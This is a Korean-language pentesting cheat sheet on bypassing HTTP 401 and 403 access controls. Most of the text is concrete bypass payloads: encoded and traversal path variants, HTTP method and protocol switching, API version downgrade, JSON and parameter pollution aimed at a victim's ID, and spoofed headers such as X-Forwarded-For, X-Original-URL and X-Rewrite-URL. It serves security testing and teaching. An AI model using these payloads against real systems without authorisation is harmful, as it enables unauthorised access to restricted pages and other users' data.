401&403(Access Control) Bypass
HTTP 상태코드 401&403
특정 페이지들을 살펴보다 보면, HTTP 상태코드로 401 또는 403으로 반환되는 경우가 종종 있다. 이 두 종류의 코드는 무엇일까?
401 Unauthorized
HTTP 표준에서 Unatuhorized(미승인)으로 명시하고 있지만 해당 응답의 경우 비 인증을 의미할 수 있다. 즉 클라이언트 측에서 요청을 보내게 되면, 서버로 부터의 응답을 받기 위해 인증이 이루어져야 한다는 것이다.
403 Forbidden
흔히 볼 수 있는 응답코드로 권한과 관련되어있다. 해당 요청 클라이언트가 요청한 콘텐츠에 접근할 권한을 가지고 있지 않음을 나타낸다. 서버측에서 해당 클라이언트의 접근을 거부한다는 것이다.
Bypass 401&403
HTTP 상태코드인 401과 403은 웹 사이트 정찰 과정에서 정말 많이 만나게된다.
이러한 상태코드를 우회할 수 있는 방법은 여러가지가 존재하며, 해당 상태 코드를 만나게 되었을 때
한번쯤 시도해볼만 하다.
- HTTP Method 변경 : (GET, POST, PUT, DELETE) 등과 같은 Method를 사용하여 접근을 시도해볼 수 있다.
- URL 인코딩 변경 : 요청 URL을 인코등 혹인 더블 인코딩 또는 유니코드 인코딩을 통해 우회 시도를 해볼 수 있다.
- Path Traversal : ‘./’ 과 같은 경로조작을 통해 우회 시도를 해볼 수 있다.
- 대소문자 변경 : 대소문자를 구별하지 않을 수 있으니, 대소문자 변경을 통해 우회 시도를 해볼 수 있다.
- HTTP Header 조작 : x-Forwarded, referer 와 같은 헤더를 통해 서버를 속여 우회 시도를 해볼 수 있다.
- URL Fragment 삽입 : URL 끝단에 Fragment를 삽입함으로써 우회를 시도해볼 수 있다.
1. HTTP Method 변경
HTTP 요청 Requests에는 여러 종류의 Method가 존재한다. 이를 다양하게 변경하여 요청하는것도 좋은 테스팅 방법일 수 있다.
POST 요청에서 사용되는 방식을 GET 형식으로 파라미터를 통해 요청이 가능하다.
methods:
- GET
- HEAD
- POST
- PUT
- DELETE
- CONNECT
- OPTIONS
- TRACE
- PATCH
GET /admindirectory/ HTTP/1.1
POST /admindirectory/ HTTP/1.1
PUT /admindirectory/ HTTP/1.1
HEAD /admindirectory/ HTTP/1.1
추가적으로 User-Agent를 조작하여서도 우회가 가능하다.
웹 브라우저에 access 할 때 사용하는 브라우저/OS 등에 따라 제공하는 서비스가 다를 수 있다.
2. URL 인코딩 변경
.. 와같은 문자들을 여러 종류의 인코딩 방법으로 우회가 가능하다.
Original: //admin
URL: /%2fadmin
DURL: /%252fadmin
Unicode: /%ef%bc%8fadmin
3. Path Traversal
Path Traversal 취약점을 응용하여 401 또는 403 상태코드를 우회할 수 있다.
target.com/secret
target.com/%2e/secret
/secret%20
/secret%09
/secret%00
/%90/secret
/%2e/secret
/secret/
/secret/.
//secret//
/./secret
/;/secret
/.;secret
//;//secret
/secret..;/
/secret/..;/
/secret.json
/secret.css
/secret.html
/secret?
/secret??
/secret???
/secret?testparam
/secret#
/secret#test
/...
/..%00
/..%01
/..%0a
/..%0d
/..%09
/~root
/~admin
/%20/
/%2e%2e/
/%252e%252e/
/%c0%af/
/%e0%80%af
site.com/secret/
site.com/secret/.
site.com//secret//
site.com/./secret/..
site.com/;/secret
site.com/.;/secret
site.com//;//secret
site.com/secret.json –> HTTP 200 OK (ruby)
4. 대소문자 변경
Original: /admin
Upper: /ADMIN
기타 API 사용할 경우 버전변경을 통해서도 가능하다
/v3/users_data/1234 --> 403 Forbidden
/v1/users_data/1234 --> 200 OK
{“id”:111} --> 401 Unauthriozied
{“id”:[111]} --> 200 OK
{“id”:111} --> 401 Unauthriozied
{“id”:{“id”:111}} --> 200 OK
{"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parameter Pollution)
user_id=ATTACKER_ID&user_id=VICTIM_ID (Parameter Pollution)
#프로토콜 변경을 통해서도 가능하다.
protocol_versions:
- "0.9"
- "1.0"
- "1.1"
- "2"
https://trust.com -> 200 403 or 401
http://trust.com -> 200 ok
5. HTTP Header 조작
일부 HTTP Header 은 클라이언트의 IP 혹은 HOST 정보를 속일 수 있다.
예를 들어 IP 주소 필터링에만 의존하는 웹 서버가 존재한다면 X-Forwarded-For 헤더를 사용해서
손쉽게 우회를 시도해볼 수 있다.
사용가능 HTTP 요청 헤더
- X-Forwarded-For
- X-Forward-For
- X-Forwarded-Host
- X-Forwarded-Proto
- Forwarded
- Via
- X-Real-IP
- X-Remote-IP
- X-Remote-Addr
- X-Trusted-IP
- X-Requested-By
- X-Requested-For
- X-Forwarded-Server
- Host: localhost
- X-ProxyUser-I
- Redirect: http://localhost
- Referer: http://localhost
- X-Original-URL
''' 등등
6. URL Fragment 삽입
https://trust.com -> 200 403 or 401
http://trust.com#fragment -> 200 ok
7. X-Rewirte-URL 헤더를 통한 경로 재지정
X-Rewrite-URL 헤더를 허용하는 서버가 존재한다면, 접근 제한이 걸린 페이지를 백엔드에서 url을 설정 하여 접근할 수 있다.
GET /admin/ HTTP/1.1 -> 403
GET / HTTP/1.1 -> 200 ok
X-Rewrite-URL: /admin/
Reference
- https://www.hahwul.com/2021/10/08/bypass-403/
- https://www.codelivly.com/401-403-bypass-cheatsheet/
- https://www.vidocsecurity.com/blog/401-and-403-bypass-how-to-do-it-right/
- https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/403-and-401-bypasses
Leave a comment